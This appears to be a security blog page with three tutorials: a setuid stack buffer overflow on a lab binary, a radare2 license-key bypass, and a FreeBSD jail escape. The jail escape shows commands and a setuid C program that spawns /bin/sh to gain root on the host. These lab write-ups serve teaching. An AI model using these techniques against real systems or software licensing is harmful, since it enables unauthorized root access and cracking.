Dark:

ASX

Exploit 1: Stack buffer overflow.

Written on 2024-11-30

Resume

Exploitation of a Stack buffer overflow in a program written in c containing no protection countermeasures.

Program

  • File: Elf x86_64
  • Porection: NX
  • Info

    You can download the binary here: vuln

    Process

    It is always important to use the 'file' command to know the type of file going under analyze. We can see that it is an ELF x64 program.

    A good habit is to inspect the file static before running it.

    We will run the program in our sandbox and see what happens.

    It seems that the program read the word we entered and send us a Hello, with our word as argument.

    Let's analyze this more in deep.

    Using r2 we can observe that the main program allocates a buffer, takes input using the read function and then print Hello and input as printf argument.

    The logic next step when analyzing program is to have an overview of the different functions. We see the shell function who is really weird.

    The shell function seems to call execve and pass the argument /bin/bash. But what is execve a quick look at the man pages can tell us the truth about this function.

    The man page for execve.

    We can see that execve is a syscall who take the path of what should be executed as argument. In our case /bin/bash. This clearly means that we can have a shell if we are able to execute the shell function.

    But... Let's have another look to the file...

    Wait... The binary file is has the setuid bit set, this means by exploiting it we could gain root privileges. Since the file will run under the privileges of his owner in our case root. This will so call execve who will execute /bin/bash and this will drop us a root shell.

    Before doing anything we will analyze current protections. I will use checksec tool for this.

    Perfect, seems the only protection is NX who stands for No-Executable Stack, since we will not executing injected shellcode we dont care about this one for now.

    Let's try to enter a enormous amount of A to trigger a seg fault by overflowing the buffer.

    We successfully overwriting the buffer, we will now need 3 informations to exploit the program.

  • Input buffer
  • Return address
  • Address of shell function
  • The Return address minus the start of the input buffer will give us the offset and we will overwrite the return address with the address of the shell funciton.

    Let's hunt theses 3 addresses.

    The input buffer

    To obtain the input buffer address there multiple ways, my favorite is to break after the read call and to analyze the stack.

    Input buffer = 0x7ffecc4f6af0

    The return address

    To obtain the return address there also a way i love a lot, by breaking at ret and analyzing the stack pointer you can obtain this return address.

    Return address = 0x7ffecc4f6bf8

    Calculating the offset

    To calculate the offset i use a homemade program written in C who is a simple hex calculator. This is really useful in multiple tasks.

    This famous tool can be downloaded here HexaCalc

    The offset is obtained by calculating the return address minus the input buffer address.

    Its then needed to convert the hexadecimal in decimal you can use rax2 who do an awesome work. I greatly advise you to add rax2 in your arsenal.

    Offset = 108

    The shell address

    Since protections like PIE is disabled on this binary we can use afl from radare2 tool to get the address of the shell function. Since it is not possible to use this method when its a Position Independant Binary i will overview in next posts how to bypass PIE protected binaries.

    A really quick way to get this is by using also objdump tool.

    Shell address = 0x000000000040118f

    Exploit

    Time to craft our exploit!

    We will use iPython for this with pwntools, this way will be very fast and straightforward.

    First importing pwntools and launching the program.

    Now we convert the shell address in a hex format.

    We use the p64() cause this will reverse the address to little-endian and 8 bytes address format such as 0x8f11400000000000, if you not use p64() from pwntools be sure to remember the correct formatting.

    Finally we will interact with the process to be able to use the shell dropped.

    We are now root! Congrats we exploited our first stack buffer overflow on x86_64 elf.

    Here is the code we exploited.

    You can download the source code here: vuln.c

    Attention

    Please remove the program when you finished the exploitation its really dangerous to keep them in your system since you were able to exploit this one, an attacker could abuse the setuid binary and owning root in your own system!

    Conclusion

    We sucessfully exploit our first C program, this was quite straightforward but we learned the basics. In the next post of this exploitation serie we will exploit a protected program.

    Program Exploitation

    R2

    No protection

    Stack buffer overflow

    C

    Reversing 1: Bypass license key checker program.

    Written on 2024-11-09

    Resume

    Reverse engineering a C program under linux using radare2 to find the license key.

    Requirements

  • Linux machine
  • Asm knowledge
  • C knowledge
  • Info

    You can download the binary here: licenseChecker

    Process

    It is always important to use the 'file' command to know the type of file going under analyze. We can see that it is an ELF x64 program.

    It is interesting to analyze dynamically so let’s run the program. Warning: please always analyze unknown files in a sandbox so as not to be infected.

    Let’s enter the test key and see what happens.

    The program seems to accept license keys of 10 characters long. Let’s test with a longer key.

    Using the longerpass key we realize his disability, which brings us to the beginning. We will pass the program in dynamic analysis using the debugger.

    I use Radare2 almost all the time because it is really very practical contains many features and I prefer to do as many tasks possible under terminal rather than under GUI.

    Open the program in dynamic mode using the '-d' option.

    It is then recommended to have knowledge of all the functions contained in the program.

    3 really important functions are distinguished here: main, modify_key, check_key. We can already deduce that the program takes the key, modifies it and finally compares it with the correct key.

    Break main and hit the breakpoint so we can analyze what's inside it.

    Now that we are inside main. A function catches our attention (fgets) that takes our license key and returns it to a variable. Let’s go down further in the program.

    One variable immediately draws attention: var_1bh address passed to rax then content of memory at this address passed to rdi just before going into the modify_key function. We also see that the check_key function is finally called.

    Let’s break this line to observe the registers and find out if our assumptions were correct. (var_1bh would contain the string that we passed to the program).

    An address has been passed to the rax register. Probably the one where reside our key entered.

    By analyzing the content of this address we were right: our string is there!

    We will now break to the function modify_key and step into.

    We can now hit 'ds' to step into the modify_key function.

    It seems that our string is passed into the variable var_18h. And then this variable is passed into rax.

    By then we see that a byte will be stored in var_1h so this must be a byte to the address containing our string.

    The byte at this address was stored in rax let's verify using memory analysis.

    Based on assembly instructions we can see that 0x6c 'l' is the byte who moved to var_1h.

    Using some command line linux tools, we can verify our suppositions: 0x6c -> 108 -> l

    This instruction will zero out the eax register.

    The byte located at address rax+9 will then be moved into the edx register zero out the rest.

    Let’s calculate this address. (calc program is a homemade tool and can be downloaded here HexaCalc).

    By analyzing this address we find that the byte 0x73 (letter s) will be moved in the edx register.

    Rdx contains the letter s (0x73).

    Let’s use the command line tools again: We can observe that 0x73 -> 115 -> s.

    It will now write to the place of the address in rax the byte contained in rdx. By doing that the letter s will be written in the memory where was the letter l.

    Our doubts were comfirmed, the letter 'l' was replaced by the letter 's'. Our key has therefore been modified!

    It will now use 'lea' instruction to load in rdx the address of rax+9 who corresponds to the end of our key. (Address 0x7fffd45efa7e) in rdx. It will then place the value of the variable var_1h in the register rax. Remember, this variable contains our letter 'l' (0x6c). Rdx containing the address of our last letter. The byte in the rax register (0x6c) will be written to the address contained in rdx.

    We can also see that the address will be restored and contained in rax.

    By observing the memory of the address now contained in rax. We see that the last letter is a 'l' (0x6c). We find that the first and last letter of our word have been exchanged!

    Let’s put a breakpoint to the check_key address and step into it. Disassemble it using the 'pd' command.

    The str.correctkey will be loaded in rdx. We can then see it pass as argument for strcmp. We also see that the address of our key will be passed in rdi. The strcmp function is called with our key and the correctkey string as arguments. It is not difficult to understand that they will be compared together.

    Let’s check all these assumptions: By analyzing the rdx register, it contains an address.

    And it is the correct string key that is stored there. (00 are used in C for '\0' the null terminator indicating a program the end of a string).

    Finally we understand that the value returned by the comparison function (strcmp) will be tested and if not equal to zero will jump to the address where the Incorrect string is located. But if the testing is correct it will not jump and load the string 'Correct' in rax. The string in rax is then moved into the rdi register which serves as an argument for the output (puts function).

    Let’s continue the program. Our key entered it displays 'Incorrect'.

    It is easy to crack the key now: The real key is 'correctkey', our key is modified by swapping the first and last letter. We just need to enter 'yorrectkec' as the license key. We get a validation.

    For the most interested of you, here is the C program of our license checker:

    You can download the source code here: licenseChecker.c

    Quick bypass

    We can for sure use quick bypasses to get the job done.

    Modifying value in program

    By modifying value of eax before it is compared we can trick the program to give us the correct statement.

    We see we entered the wrong key but no panick. This condition test if eax is equal to 0 if yes it will go to 'Correct' otherwise it will jump to 'Incorrect'.

    We see eax is set to 10 so it will jump to 'Incorrect'.

    We can set the eax register to value 0 to trick program to skip the jump and modify the control flow.

    By modifying it, we changed the program flow to go to the 'Correct' statement.

    Static analysis

    We can use string command or use 'iz' command in r2 to get all the strings in the program.

    Strings command filtering size 10 strings.

    'iz' command to extract strings from program.

    Going direct to the end

    We can also go direct to the end of the program before the check_key function to examine memory and see the modified string.

    We can set breakpoint before the check function.

    Watching for memory location of our entered key.

    See the string in memory with all the changes. So we discover direct the swaping. I really don't like skipping parts like this since i prefer analyzing slowly code and understand what happened.

    Conclusion

    By reading the assembly instructions and following the program flow we can easily determine the license key and if anti-analyze measures are deployed such as modifying the user input we have learned to determine them and bypass them. We also learned some cool bypass tricks and remember, the more you can read assembly the more you can understand any closed source code.

    Reverse engineering

    R2

    License checker

    Bypass key

    C

    Exclusive

    Jail: The enigmatic cooperative rooting.

    Written on 2024-10-28

    Resume

    The rooting and compromise of a FreeBSD machine was accomplished in close collaboration by the restricted user inside the jail and by the user outside the jail.

    Requirements

  • Root account inside the jail
  • Cooperative user account outside the jail
  • C knowledge
  • Permissions knowledge
  • FreeBSD system knowledge
  • Exploit

    Let’s start by entering the machine as a normal user.

    [asx@cortex]> ssh katty@192.168.52.137

    (katty@192.168.52.137) Password for katty@jail-escape:
    Last login: Wed Dec 20 14:49:47 2023 from 192.168.52.145
    FreeBSD 14.0-RELEASE-p3 (GENERIC) #0: Mon Dec 11 04:56:01 UTC 2023
    
    Welcome to FreeBSD!
    
    Release Notes, Errata: https://www.FreeBSD.org/releases/
    Security Advisories:   https://www.FreeBSD.org/security/
    FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
    FreeBSD FAQ:           https://www.FreeBSD.org/faq/
    Questions List:        https://www.FreeBSD.org/lists/questions/
    FreeBSD Forums:        https://forums.FreeBSD.org/
    
    Documents installed with the system are in the /usr/local/share/doc/freebsd/
    directory, or can be installed later with:  pkg install en-freebsd-doc
    For other languages, replace "en" with a language code like de or fr.
    
    Show the version of FreeBSD installed:  freebsd-version ; uname -a
    Please include that output and any error messages when posting questions.
    Introduction to manual pages:  man man
    FreeBSD directory layout:      man hier
    
    To change this login announcement, see motd(5).
    ln: /home/ftp/.sh_history: Permission denied
    ln: /home/steven/.sh_history: Permission denied
    ln: /root/.sh_history: Permission denied
    ln: /usr/jails/steven1/home/steven1/.sh_history: Permission denied
    ln: /usr/jails/steven1/root/.sh_history: Permission denied
    To change an environment variable in /bin/sh use:
    
    $ VARIABLE="value"
    $ export VARIABLE
                                    

    katty@jail-escape:~ $

    Log in as root user inside the jail.

    [asx@cortex]> ssh root@192.168.52.137

    (root@192.168.52.137) Password for root@jail-escape:
    (root@192.168.52.137) Password for root@jail-escape:
                                    

    The problem is that despite the root account, we are locked in a jail with restricted access.

    root@jail-escape:~ # ls -la

    total 37
    drwxr-x---   3 root wheel    9 Dec 20 16:10 .
    drwxr-xr-x  14 root wheel   24 Dec 18 21:23 ..
    -rw-r--r--   2 root wheel 1011 Dec 17 23:04 .cshrc
    -rw-r--r--   1 root wheel   66 Dec 17 23:04 .k5login
    -rw-r--r--   1 root wheel  316 Dec 17 23:04 .login
    -rw-r--r--   2 root wheel  495 Dec 17 23:04 .profile
    lrwxr-xr-x   1 root wheel    9 Dec 20 16:10 .sh_history -> /dev/null
    -rw-r--r--   1 root wheel 1174 Dec 17 23:04 .shrc
    drwx------   2 root wheel    4 Dec 20 13:57 .ssh
                                    

    root@jail-escape:~ #

    For this exploit works we need a compiler in the host. "cc" is especially useful when gcc is not available on the host.

    root@jail-escape:/home/steven1/documents # which cc

    /usr/bin/cc

    Time to write the exploit in c

    root@jail-escape:/home/steven1/documents # ee exploit.c

    root@jail-escape:/home/steven1/documents # cat exploit.c

    #include <stdlib.h>
    
    int main(void) {
        system("/bin/sh");
    }
                                    

    Now we can set rights and compile.

    root@jail-escape:/home/steven1 # cd doc*

    root@jail-escape:/home/steven1/documents # which cc

    /usr/bin/cc
                                    

    root@jail-escape:/home/steven1/documents # cc exploit.c -o exploit

    root@jail-escape:/home/steven1/documents # chmod u+s exploit

    root@jail-escape:/home/steven1/documents # ls -la exploit

    -rwsr-xr-x  1 root steven1 9664 Dec 20 16:43 exploit
                                    

    We are exploiting the setuid bit and bad environment configurations. Since the path to the created file is not restricted, if we run this root file in the jail, we will become root outside of the jail, and therefore on the host machine.

    katty@jail-escape:~ $ cd /usr/jails/steven1/home/steven1/documents/

    katty@jail-escape:/usr/jails/steven1/home/steven1/documents $ /bin/ls -la

    total 19
    drwxr-xr-x  2 katty   katty    5 Dec 20 16:43 .
    drwxr-xr-x  4 steven1 wheel   12 Dec 20 16:10 ..
    -rwsr-xr-x  1 root    katty 9664 Dec 20 16:43 exploit
    -rwSr--r--  1 root    katty   62 Dec 20 16:34 exploit.c
                                    

    The trick is there we will run the file as external user from the jail

    katty@jail-escape:/usr/jails/steven1/home/steven1/documents $ ./exploit

    #
                                    

    # /usr/bin/whoami; /usr/bin/id

    root
    uid=1001(katty) gid=1001(katty) euid=0(root) groups=1001(katty)
                                    

    # cd /root

    # /bin/ls

    outside-jail.txt    scripts
                                    

    # ezjail-admin list

    STA JID  IP              Hostname                       Root Directory
    --- ---- --------------- ------------------------------ ------------------------
    DR  1    192.168.0.10    jail-escape                    /usr/jails/steven1
                                    

    We have successfuly switched root privileges. Which concludes that with a little cooperation you can gain privileges on a freeBSD machine

    Conclusion

    We managed to escape from the jail in the latest version of FreeBSD using the techniques of using living of the land and external user! Note that the conditions to meet are quite rare cases.

    FreeBSD

    Jail

    Exploit